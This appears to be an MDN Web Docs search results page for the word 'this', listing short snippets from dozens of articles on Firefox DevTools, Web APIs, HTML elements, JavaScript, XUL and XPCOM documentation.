this article describes working with multiple windows in mozilla chrome code (xul applications and extensions).
... opening windows from a <script> in a window or an overlay to open a new window, we usually use a window.open or window.opendialog dom call, like
this: var win = window.open("chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its contents.
...
this is different from the user-visible window title, which is specified using xul.
...And 15 more matches
URLs - Plugins
« previousnext »
this chapter describes retrieving urls and displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail.
...in addition, gecko may support urls not listed on
this table.
...
this section describes the methods and procedures used for getting the url and displaying the page.
...And 15 more matches
Network request list - Firefox Developer Tools
you can override
this behavior by checking "enable persistent logs" in the settings.
...if there was no response,
this column is empty.
... protocol: the network protocol used to transfer the data,
this column is hidden by default.
...And 15 more matches
Examine and edit CSS - Firefox Developer Tools
you can: toggle pseudo-classes; toggle classes; add a new rule; change the display based on the color scheme preference (as of firefox 72, you must set devtools.inspector.color-scheme-simulation.enabled to true in the configuration editor to enable
this feature); change the display based on print media rules.
...
this can help you understand why certain styles are not being applied.
... highlight matched elements: next to the selector is a target icon: click
this to highlight all nodes in the page that match
this selector.
...And 15 more matches
Work with animations - Firefox Developer Tools
this article covers three tools you can use to visualize and edit animations: the animation inspector editing @keyframes editing timing functions animation inspector the page inspector's animations view displays animations in the page synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.
... let's use the animation inspector to see what's going on in
this example.
...the timeline starts at the start of the first animation, ends at the end of the last animation, and is labeled with markers every 250 milliseconds (
this depends on the time scale of the animations currently displayed).
...And 15 more matches
about:debugging - Firefox Developer Tools
this firefox provides information about temporary extensions you have loaded for debugging, extensions that are installed in firefox, the tabs that you currently have open, and service workers running on firefox.
...your device should show a popup to authorize your computer to connect to it — accept
this and then click the refresh devices button again.
... the information on
this page is the same as the information on the
this firefox tab, but instead of displaying information for your computer, it displays the information for the remote device with the addition of a tabs section with an entry for each of the tabs open on the remote device.
...And 15 more matches
console - Web APIs
for example: console.log("failed to open the specified link")
this page documents the methods available on the console object and gives a few usage examples.
... note:
this feature is available in web workers.
... console.count() log the number of times
this line has been called with the given label.
...And 15 more matches
Using the Gamepad API - Web APIs
this helps prevent gamepads being used for fingerprinting the user.
... you can use gamepadconnected like
this: window.addeventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s.
...gamepad = event.gamepad; // note: // gamepad === navigator.getgamepads()[gamepad.index] if (connecting) { gamepads[gamepad.index] = gamepad; } else { delete gamepads[gamepad.index]; } } window.addeventlistener("gamepadconnected", function(e) { gamepadhandler(e, true); }, false); window.addeventlistener("gamepaddisconnected", function(e) { gamepadhandler(e, false); }, false);
this previous example also demonstrates how the gamepad property can be held after the event has completed — a technique we will use for device state querying later.
...And 15 more matches
HTMLMediaElement - Web APIs
the htmlvideoelement and htmlaudioelement elements both inherit
this interface.
.../htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its ancestors htmlelement, element, node, and eventtarget.
... htmlmediaelement.crossorigin a domstring indicating the cors setting for
this media element.
...And 15 more matches
Recommended Drag Types - Web APIs
caution: all methods and properties in
this document with a moz prefix, such as mozsetdataat(), will only work with gecko-based browsers.
...for example: event.datatransfer.setdata("text/plain", "
this is text to drag"); dragging text in textboxes and selections on web pages is done automatically by the browser, so you do not need to handle it yourself.
...always add
this text/plain type last, as it is the least specific and shouldn’t be preferred.
...And 15 more matches
Working with the History API - Web APIs
the referrer will be the url of the document whose window is
this at the time of creation of the xmlhttprequest object.
... example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html")
this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists.
...at
this point, the url bar will display http://mozilla.org/bar.html and history.state will contain the stateobj.
...And 15 more matches
IDBIndexSync - Web APIs
void openobjectcursor (in optional idbkeyrange range, in optional unsigned short direction) raises (idbdatabaseexception); any put (in any value, in optional any key) raises (idbdatabaseexception); void remove (in any key) raises (idbdatabaseexception); attributes attribute type description keypath readonly domstring the key path of
this index.
... if
this attribute is null,
this index is not auto-populated.
... name readonly domstring the name of
this index.
...And 15 more matches
MediaDevices.getUserMedia() - Web APIs
generally, you will access the mediadevices singleton object using navigator.mediadevices, like
this: async function getmedia(constraints) { let stream = null; try { stream = await navigator.mediadevices.getusermedia(constraints); /* use the stream */ } catch(err) { /* handle the error */ } } similarly, using the raw promises directly, the code looks like
this: navigator.mediadevices.getusermedia(constraints) .then(function(stream) { /* use the stream */ }) .catch(func...
...see security for more information on
this and other security issues related to using getusermedia().
...the following expresses a preference for 1280x720 camera resolution: { audio: true, video: { width: 1280, height: 720 } } the browser will try to honour
this, but may return other resolutions if an exact match is not available, or the user overrides it.
...And 15 more matches
Pinch zoom gestures - Web APIs
this example shows how to detect the pinch/zoom gesture, which uses pointer events to detect whether the user moves two pointers closer or farther apart from each other.
... a live version of
this application is available on github.
... example in
this example, you use the pointer events to simultaneously detect two pointing devices of any type, including fingers, mice, and pens.
...And 15 more matches
RTCOutboundRtpStreamStats - Web APIs
fircount an integer value which indicates the total number of full intra request (fir) packets which
this rtcrtpsender has sent to the remote rtcrtpreceiver.
...
this is an indicator of how often the stream has lagged, requiring frames to be skipped in order to catch up.
... framesencoded the number of frames that have been successfully encoded so far for sending on
this rtp stream.
...And 15 more matches
Matrix math for the web - Web APIs
this article explores how to create matrices and how to use them with css transforms and the matrix3d transform type.
... while
this article uses css to simplify explanations, matrices are a core concept used by many different technologies including webgl, the webxr (vr and ar) api, and glsl shaders.
...
this article is also available as an mdn content kit.
...And 15 more matches
WebXR Device API - Web APIs
navigator.xr read only
this property, added to the navigator interface, returns the xrsystem object through which the webxr api is exposed.
... if
this property is missing or null, webxr is not available.
...
this can happen, for example, when the position and/or orientation of the device changes, or when buttons are pressed or released.
...And 15 more matches
OpenType font features guide - CSS: Cascading Style Sheets
this article provides you with all you need to know about using opentype font features in css.
...it's possible to write css to work both ways but
this can become cumbersome.
... discovering availability of features in fonts
this is sometimes the trickiest thing to work out if you don't have any documentation that came with the fonts (many type designers and foundries will provide sample pages and css just for
this very reason).
...And 15 more matches
Getting Started - Developer guides
this article guides you through the ajax basics and gives you some simple hands-on examples to get you started.
...
this is where xmlhttprequest comes in.
...for a more realistic example, see step 3 of
this article.
...And 15 more matches
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
the obsolete html applet element (<applet>) embeds a java applet into the document;
this element has been deprecated in favor of <object>.
... dom interface htmlappletelement attributes align
this attribute is used to position the applet on the page relative to content that might flow around it.
... alt
this attribute causes a descriptive text alternate to be displayed on browsers that do not support java.
...And 15 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles application, document, img, none, presentation dom interface htmliframeelement attributes
this element includes the global attributes.
...
this attribute is considered a legacy attribute and redefined as allow="fullscreen".
...And 15 more matches
<input type="range"> - HTML: Hypertext Markup Language
this is typically represented using a slider or dial control rather than a text entry box like the number input type.
... because
this kind of widget is imprecise, it shouldn't typically be used unless the control's exact value isn't important.
... the source for
this interactive example is stored in a github repository.
...And 15 more matches
HTML elements reference - HTML: Hypertext Markup Language
this page lists all the html elements, which are created using tags.
...an alphabetical list of all elements is provided in the sidebar on every element's page as well as
this one.
...all other elements must be descendants of
this element.
...And 15 more matches
Connection management in HTTP/1.x - HTTP
this simple model held an innate limitation on performance: opening each tcp connection is a resource-consuming operation.
...modern web pages require many requests (a dozen or more) to serve the amount of information needed, proving
this earlier model inefficient.
...
this protocol upgrade mechanism is documented in more detail elsewhere.
...And 15 more matches
Feature-Policy - HTTP
this header is still in an experimental state, and is subject to change at any time.
... be wary of
this when implementing it on your website.
... the header has now been renamed to permissions-policy in the spec, and
this article will eventually be updated to reflect that change.
...And 15 more matches
Promise - JavaScript
this lets asynchronous methods return values like synchronous methods: instead of immediately returning the final value, the asynchronous method returns a promise to supply the value at some point in the future.
...you will also hear the term resolved used with promises —
this means that the promise is settled or “locked in” to match the state of another promise.
...these methods also return a newly generated promise object, which can optionally be used for chaining; for example, like
this: const mypromise = (new promise(myexecutorfunc)) .then(handlefulfilleda,handlerejecteda) .then(handlefulfilledb,handlerejectedb) .then(handlefulfilledc,handlerejectedc); // or, perhaps better ...
...And 15 more matches
String.prototype.replace() - JavaScript
the source for
this interactive example is stored in a github repository.
...the arguments supplied to
this function are described in the "specifying a function as a parameter" section below.
... description
this method does not change the calling string object.
...And 15 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
overview: progressive web apps next
this article provides an introduction to progressive web apps (pwas), discussing what they are and the advantages they offer over regular web apps.
... pwas, however, provide all
this and more without losing any of the existing features that make the web great.
...but
this is only a rough indicator.
...And 15 more matches
Types of attacks - Web security
this article describes various types of security attacks and techniques to mitigate them.
...
this can be used, for example, to steal login credentials or to get the user's unwitting permission to install a piece of malware.
... (click-jacking is sometimes called "user interface redressing", though
this is a misuse of the term "redress".) cross-site request forgery (csrf) cross-site scripting (xss) cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code.
...And 15 more matches
Modules - Archive of obsolete content
this is made possible by the use of sandboxes.
...unfortunately, javascript does not provide any means to load scripts from other locations: we have to rely on the host application to provide us with
this functionality.
...
this object forms the central access point for all functionality provided by the host application.
...And 14 more matches
lang/functional - Archive of obsolete content
this) as the first parameter, followed by any parameters passed into the method.
...
this is similar to calling settimeout with no wait (i.e.
...
this also enables you to use these functions as event listeners.
...And 14 more matches
remote/parent - Archive of obsolete content
this includes the content of every tab in an application like firefox and also some other ui elements.
...in
this case the frame for that tab changes.
... examples property retrieval
this first example shows fetching a simple property from every existing and future process.
...And 14 more matches
CSS3 - Archive of obsolete content
this was due to the fact that a few secondary features held back the whole specification.
... though today no module with a level greater than 3 is standardized,
this will change in the future.
... the next iteration of
this specification is in the work, allowing to tailor a web site regarding the input methods available on the user agent, with new media features like hover or pointer.
...And 14 more matches
Moving, Copying and Deleting Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating
this pages to use the supported api is very much welcome!
...
this method takes two arguments, the first is the destination directory in which to copy the file to, and the second argument is the new name of the file, if you wish to rename it in its new location.
... var file = io.newfile("home", "source.txt"); var destination = io.newfile("desktop", ""); file.copyto(destination, "destination.txt");
this example copies a file called 'source.txt' within the user's home directory to the desktop.
...And 14 more matches
Multiple Queries - Archive of obsolete content
this may be used to combine the results from several queries together, or may be used to generate different types of results when recursive iterations.
... object="canal"/> </query> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </queryset> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> </query> <action> <image uri="?photo" src="?photo"/> </action> </queryset> </template> </hbox>
this template contains two queries, the first contains a <triple> which matches only the photo with a title of 'canal'.
...when used together in
this example, the results are combined and only three results are shown.
...And 14 more matches
SQLite Templates - Archive of obsolete content
this allows information from the database to be used to generate xul content.
... to do
this, set the querytype attribute on the root node of the template to the value storage.
...
this will cause the datasource to be treated as an sqlite database.
...And 14 more matches
Simple Query Syntax - Archive of obsolete content
simple rdf graph navigation such as
this is common, so the simpler syntax is usually used in
this situation since it avoids extra tags, although the simple syntax is not more or less efficient, at least when a single query is involved.
...you can see that
this code is much simpler than the full syntax.
... to understand how
this works, let's examine how the builder processes a simple query.
...And 14 more matches
The Joy of XUL - Archive of obsolete content
this guide is designed to introduce application developers and their managers to xul so they can not only understand why mozilla's platform is based on it, but how they might adopt it for their own use.
...
this same investigation will provide sufficient explanation of mozilla's motivation to build xul and why the mozilla platform is constructed using it.
...for
this reason, xul is oriented toward application artifacts such as windows, labels, and buttons instead of pages, heading levels, and hypertext links.
...And 14 more matches
Advanced Rules - Archive of obsolete content
« previousnext »
this section describes the more advanced rule syntax.
...to do
this, use the member element as in the following: <tree id="citiestree" datasources="weather.rdf" ref="http://www.xulplanet.com/rdf/weather/cities"> <template> <rule> <conditions> <content uri="?list"/> <member container="?list" child="?city"/> </conditions> <rule> <template> </tree> the template builder starts by grabbing the value of the ref attribute, ...
...which in
this case is http://www.xulplanet.com/rdf/weather/cities.
...And 14 more matches
Trees and Templates - Archive of obsolete content
this means that elements will not be created for every row in the tree, making it more efficient.
...
this would normally be set to an rdf property so that the label is pulled from the datasource.
... template-built tree example the following example demonstrates a template-built tree, in
this case for the file system.
...And 14 more matches
dialog - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element should be used in place of the window element for dialog boxes.
...moreover
this hides separator between titlebar and window contents.
...
this only affects mac os x.
...And 14 more matches
menuseparator - Archive of obsolete content
if
this value is set, it overrides an assigned key set in the key attribute.
...
this attribute does not apply to menus directly on the menubar.
... accesskey type: character
this should be set to a character that is used as a shortcut key.
...And 14 more matches
Adobe Flash - Archive of obsolete content
this document is out of date.
...
this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascript functions from within the flash animation.
... the focus of
this article is to present tips on scripting flash within gecko™-based web browsers.
...And 14 more matches
Fundamental CSS comprehension - Learn web development
you've covered a lot in
this module, so it must feel good to have reached the end!
... the final step before you move on is to attempt the assessment for the module —
this involves a number of related exercises that must be completed in order to create the final design — a business card/gamer card/social media profile.
... prerequisites: before attempting
this assessment you should have already worked through all the articles in
this module.
...And 14 more matches
Overflowing content - Learn web development
in
this guide you will learn what overflow is and how to manage it.
...
this would cause data loss.
...if the submit button on a form disappears and no one can complete the form,
this could be a big problem!
...And 14 more matches
How can we design for all types of users? - Learn web development
this article provides basic tips to help you design websites for any kind of user.
...
this article lists the most important quick-wins for universal design.
... for instance, let's test the colors on
this page and see how we fare in the colour contrast analyser: the luminosity contrast ratio between text and background is 8.30:1, which exceeds the minimum standard (4.5:1) and should enable many visually-impaired people to read
this page.
...And 14 more matches
Starting our Svelte Todo list app - Learn web development
in
this article we will first have a look at the desired functionality of our app, then we'll create a todos.svelte component and put static markup and styles in place, leaving everything ready to start developing our to-do list app features, which we'll go on to in subsequent articles.
...
this will be the basic functionality that we'll be developing in
this tutorial series, plus we'll look at some more advanced concepts along the way too.
... repl to code along with us using the repl, start at https://svelte.dev/repl/b7b831ea3a354d3789cefbc31e2ca495?version=3.23.2 todo list app features
this is how our todo list app wil look like once it's ready: using
this ui our user will be able to: browse their tasks.
...And 14 more matches
Client-side tooling overview - Learn web development
overview: understanding client-side tools next in
this article we provide an overview of modern web tooling, what kinds of tools are available and where you’ll meet them in the lifecycle of web app development, and how to find help with individual tools.
... though your choice of code editor is certainly a tooling choice,
this series of articles will go beyond that, focusing on developer tools that help you produce web code more efficiently.
...
this part of the tooling should be specific to your own development environment, though it’s not uncommon for companies to have some kind of policy or pre-baked configuration available to install so that all their developers are all using the same processes.
...And 14 more matches
Adding a new CSS property
this page describes how to add a new css property to the style system.
...
this document assumes that you have a specifcation for the property available.
...
this will cause tests of your new property to be added to many of the mochitests in layout/style/test, which can be run with the command "./mach mochitest -f plain layout/style/".
...And 14 more matches
HTTP logging
this saves a log of http-related information from your browser run into a file that you can examine (or upload to bugzilla if a developer has asked you for a log).
... using about:networking
this is available starting with firefox 52.
...
this is the best and easiest way to do http logging.
...And 14 more matches
Commenting IDL for better documentation
this article will help you understand how you can format your comments to help ensure that the conversion process can be automated as much as possible in order to ensure that your interface gets properly documented.
...
this helps keep the documentation tidy.
...
this will help the tools generate proper links to help make the documentation easier to read and browse through.
...And 14 more matches
SVG Guidelines
the size of an svg of
this image will be the same regardless of the dimensions of the image.
...however,
this is not to say that it always does away with the need to have a collection of raster images for display at different scales.
...
this can be particularly true for icons.
...And 14 more matches
How Mozilla determines MIME Types
this means that every time an uri is loaded, mozilla must find out its mime type.
... the several ways how
this happens are described in
this document.
...
this means that, for example, if mozilla encounters a <link type="text/css" rel="stylesheet" href="..."> element, a type of text/css will be assumed.
...And 14 more matches
PKCS11 Implement
implementing pkcs #11 for nss note:
this document was originally for the netscape security library that came with netscape communicator 4.0.
...
this note will be removed once the document is updated for the current version of nss.
...
this document supplements the information in pkcs #11: cryptographic token interface standard, version 2.0 with guidelines for implementors of cryptographic modules who want their products to work with mozilla client software: how nss calls pkcs #11 functions.
...And 14 more matches
gtstd.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide.
... if you are inclined to help with
this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference getting started with ssl chapter 2 getting started with ssl
this chapter describes how to set up your environment, including certificate and key databases.
...And 14 more matches
sslcrt.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide.
... if you are inclined to help with
this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference certificate functions chapter 5 certificate functions
this chapter describes the functions and related types used to work with a certificate database such as the cert7.db database provided with communicator.
...And 14 more matches
SpiderMonkey Build Documentation
(if you want to use spidermonkey as a library in your c++ application, or work on improving spidermonkey itself, do a developer/debug build instead, as described below.) cd js/src #
this name should end with "_opt.obj" to make the version control system ignore it.
... mkdir build_opt.obj cd build_opt.obj /bin/sh ../configure.in # use "mozmake" on windows make a few notes about
this: the most common build problems are dependency problems.
...r cannot create executables." you can try configuring like so: cc=clang cxx=clang++ ../configure it is also possible that baldrdash may fail to compile with /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found, err: true
this is because, starting from mohave, headers are no longer installed in /usr/include.
...And 14 more matches
JIT Optimization Outcomes
this page documents the meaning of different optimization outcomes.
...
this failure mode is unlikely and occurs if the target object is obtained in some roundabout way.
... noanalysisinfo todo noshapeinfo the baseline compiler recorded no usable shape information for
this operation.
...And 14 more matches
SpiderMonkey 1.8.5
please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... since
this is a conservative collector, it will often find "garbage" addresses which can trigger warnings from certain code analysis tools.
...
this also means that objects will be finalized in a non-deterministic order in spidermonkey 1.8.5.
...And 14 more matches
SavedFrame
usually
this is a content compartment.
...function a from content.js | v function b from chrome.js | v function c from content.js the content compartment will ever have one view of
this stack: a -> c.
...
this is the default wrapper.
...And 14 more matches
TPS Bookmark Lists
for example: var bookmarks_after_second_modify = { "menu": [ { uri: "http://www.getfirefox.com/", title: "get firefox" } ], "menu/foldera": [ { uri: "http://mozilla.com", title: "mozilla" }, ] };
this describes two bookmarks, one in the "menu" folder, and the other in the "folder1" subfolder of "menu".
... all bookmark paths must begin with one of the following: "menu": the normal bookmarks menu "toolbar": the bookmarks toolbar "tags": the tags folder "unfiled": the unfiled bookmarks folder "places": the places root folder ("menu", "toolbar", and "unfiled" are all children of
this) sub-folders are preceded with forward slashes, so "menu/folder1" denotes that "folder1" is a sub-folder of "menu".
...after: the title of the bookmark item expected to be found after
this bookmark; used only in verify and modify actions.
...And 14 more matches
XPCOM changes in Gecko 2.0
this article details those changes, and provides suggestions for how to update your code.
...if you used xpcomutils.jsm, some of
this was hidden from you, but it was still there.
...all existing xpcom components will need to be updated to support
this.
...And 14 more matches
Components.utils.exportFunction
this function provides a safe way to expose a function from a privileged scope to a less-privileged scope.
... in
this way privileged code, such as an extension, can share code with less-privileged code like a normal web page script.
...
this includes add-on sdk content scripts.
...And 14 more matches
Language bindings
the scriptable methods on the nsicomponentmanager interface can be called directly on
this object.components.resultscomponents.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.msg (also at table of errors), with the value of each corresponding to that constant's value.components.returncodecomponents.stackcomponents.stack is a read only property of type nsistackframe (idl definition) that represents a snaps...
...
this can be used for various diagnostic purposes.components.utilscomponents.utils is a collection of various useful xpconnect features.
... its interface is defined at js/xpconnect/idl/xpccomponents.idl.components.utils.cloneinto
this function provides a safe way to take an object defined in a privileged scope and create a structured clone of it in a less-privileged scope.
...And 14 more matches
nsAdoptingCString
note that
this class violates constness in a few places.
...har* char* operator const char*() const - source operator[] char operator[](print32) const - source parameters print32 i char operator[](pruint32) const - source parameters pruint32 i get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...And 14 more matches
nsCAutoString
it is normally not a good idea to use
this class on the heap, because it will allocate space which may be wasted if the string it contains is significantly smaller or any larger than 64 characters.
...st nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...And 14 more matches
nsDependentString
this class does not own its data, so the creator of objects of
this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use.
...urce parameters prunichar* data pruint32 length void nsdependentstring(const prunichar*) - source parameters prunichar* data void nsdependentstring(const nsastring_internal&) - source parameters nsastring_internal& str void nsdependentstring() - source assertvalid void assertvalid() - source verify restrictions rebind void rebind(const prunichar*) - source allow
this class to be bound to a different string...
...ternal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
...And 14 more matches
nsFixedCString
methods constructors void nsfixedcstring(char*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of
this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters char* data pruint32 storagesize void nsfixedcstring(char*, pruint32, pruint32) - source parameters char* data pruint32 storagesize pruint32 length operator= nscstring& operator=(const nscstring&) - source ...
...ternal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...And 14 more matches
nsXPIDLCString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of
this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
...ternal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...And 14 more matches
nsICommandLine
this may be the original command line of
this instance or a command line provided remotely by another instance of the application.
...
this flag allows the default action to be prevented.
... windowcontext nsidomwindow a window to be targeted by
this command line.
...And 14 more matches
nsIInputStream
xpcom/io/nsiinputstream.idlscriptable
this interface represents a readable stream of data.
...for
this reason, it is generally the case that a blocking input stream should be implemented using thread-safe addref and release.
... in addition to the number of bytes available in the stream,
this method also informs the caller of the current status of the stream.
...And 14 more matches
nsIURI
netwerk/base/public/nsiuri.idlscriptable
this is an interface for an uniform resource identifier with internationalization support, offering attributes that allow setting and querying the basic components of a uri, and methods for performing basic operations on uris.
... to create an nsiuri object, you should use nsiioservice.newuri(), like
this: function makeuri(aurl, aorigincharset, abaseuri) { var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); return ioservice.newuri(aurl, aorigincharset, abaseuri); } components of a uri prepath path scheme userpass host port ref ftp :// ...
... host autf8string the host is the internet domain name to which
this uri refers.
...And 14 more matches
nsMsgFolderFlagType
* @{ */ ///
this folder is a newsgroup folder.
... const nsmsgfolderflagtype newsgroup = 0x00000001; ///
this folder is a news server.
... const nsmsgfolderflagtype newshost = 0x00000002; ///
this folder is a mail folder.
...And 14 more matches
XPCOM
the majority of xpcom components are not part of
this core set and are provided by other parts of the platform (e.g.
...to
this end, there exist xpcom interfaces to read and write registry data.
...
this article will show you how to use the available interfaces in several mozilla products.aggregating the in-memory datasourcealready_addrefedalready_addrefed in association with nscomptr allows you to assign in a pointer without addrefing it.binary compatibilityif mozilla decides to upgrade to a compiler that does not have the same abi as the current version, any built component may fail.
...And 14 more matches
nsIMsgCloudFileProvider
this url should not point to external web content.
...
this url should not point to external web content.
...if
this value is not known, returns -1.
...And 14 more matches
Mail event system
warning: the content of
this article may be out of date.
...
this document describes the system that events are passed amongst the mail objects.
...the folder pane needs to know that
this changed so that it can update the message count so the user can see it.
...And 14 more matches
Initialization and Destruction - Plugins
« previousnext »
this chapter describes the methods that provide the basic processes of initialization, instance creation and destruction, and shutdown.
...
this chapter ends with initialize and shutdown example, which includes the np_initialize and np_shutdown methods.
...use
this function to allocate the memory and resources shared by all instances of your plug-in.
...And 14 more matches
Dominators view - Firefox Developer Tools
this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references.
...it looks something like
this: the dominators view consists of two panels: the dominators tree panel shows you which nodes in the snapshot are retaining the most memory the retaining paths panel (new in firefox 47) shows the 5 shortest retaining paths for a single node.
... any other node that's referenced from two different roots (since in
this case, neither root dominates it).
...And 14 more matches
Edit fonts - Firefox Developer Tools
this article provides a tour of the font tools available in the firefox devtools.
...
this tool contains several useful features for viewing and manipulating fonts applied to any document loaded in the browser including inspection of all fonts applied to the page, and precise adjustment of variable font axis values.
... note: the updated font tools as shown in
this article are available in firefox 63 onwards; if you are using an older version of firefox the tools will not look or behave quite the same, but they will be similar (most notably the font editor will not be available).
...And 14 more matches
Call Tree - Firefox Developer Tools
in
this article, we'll use the output of a simple program as an example.
... there's a short page describing the structure of
this program here.
...to do
this, it generates some arrays filled with random integers and sorts them using each algorithm in turn.
...And 14 more matches
BasicCardResponse - Web APIs
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like
this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... browser compatibility the compatibility table on
this page is generated from structured data.
...for androidsafari on iossamsung internetbasiccardresponsechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true) and the dom.payments.request.supportedregions preference (needs to be set to a comma-delineated list of one or more 2-character iso country codes indicating the countries in which to support payments (for example, us,ca.).
...And 14 more matches
HTMLTextAreaElement - Web APIs
if
this element is not contained in a form element, it can be the id attribute of any <form> element in the same document or the value null.
...
this constraint is evaluated only when the value changes.
...
this constraint is evaluated only when the value changes.
...And 14 more matches
IDBTransaction - Web APIs
note:
this feature is available in web workers.
...4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbtransaction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} transactions are started when the transaction is created, not when the first request is placed; for example consider
this: var trans1 = db.transaction("foo", "readwrite"); var trans2 = db.transaction("foo", "readwrite"); var objectstore2 = trans2.objectstore("foo") var objectstore1 = trans1.objectstore("foo") objectstore2.put("2", "key"); objectstore1.put("1", "key"); after the code is executed the object store should contain the value "2", since trans2 should run after trans1.
...
this causes an error on the request, which can bubble up to an error on the transaction, which aborts the transaction.
...And 14 more matches
Multi-touch interaction - Web APIs
this additional feature can be used to provide richer user interaction models but at the cost of additional complexity in the multi-touch interaction handling.
...
this document demonstrates via example code, using pointer events with different multi-touch interactions.
... a live version of
this application is available on github.
...And 14 more matches
Using Pointer Events - Web APIs
this guide demonstrates how to use pointer events and the html <canvas> element to build a multi-touch enabled drawing application.
...
this example is based on the one in the touch events overview, except it uses the pointer events input event model.
...
this application will only work on a browser that supports pointer events.
...And 14 more matches
Pointer events - Web APIs
typically,
this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media.
... pointertype indicates the device type that caused the event (mouse, pen, touch, etc.) isprimary indicates if the pointer represents the primary pointer of
this pointer type.
...
this event is also used if the change in pointer state can not be reported by other events.
...And 14 more matches
Using writable streams - Web APIs
this article explains the streams api’s writable stream functionality.
... note:
this article assumes that you understand the use cases of writable streams, and are aware of the high-level concepts.
...
this takes a given message and writes it into a writable stream, displaying each chunk on the ui as it is written to the stream and also displaying the whole message on the ui when writing has finished.
...And 14 more matches
Adding 2D content to a WebGL context - Web APIs
the complete source code for
this project is available on github.
...
this project uses the glmatrix library to perform its matrix operations, so you will need to include that in your project.
... drawing the scene the most important thing to understand before we get started is that even though we're only rendering a square plane object in
this example, we're still drawing in 3d space.
...And 14 more matches
Web Audio API - Web APIs
this modular design provides the flexibility to create complex audio functions with dynamic effects.
...
this last connection is only necessary if the user is supposed to hear the audio.
... a simple, typical workflow for web audio would look something like
this: create audio context inside the context, create sources — such as <audio>, oscillator, stream create effects nodes, such as reverb, biquad filter, panner, compressor choose final destination of audio, for example your system speakers connect the sources up to the effects, and the effects to the destination.
...And 14 more matches
Alerts - Accessibility
the form first, please read about the aria-required technique if you have not done so, as
this technique expands upon that.
... in order to simplify
this example, we’ll check whether the e-mail address contains the “@” symbol, and if the name entry contains at least 1 character.
...
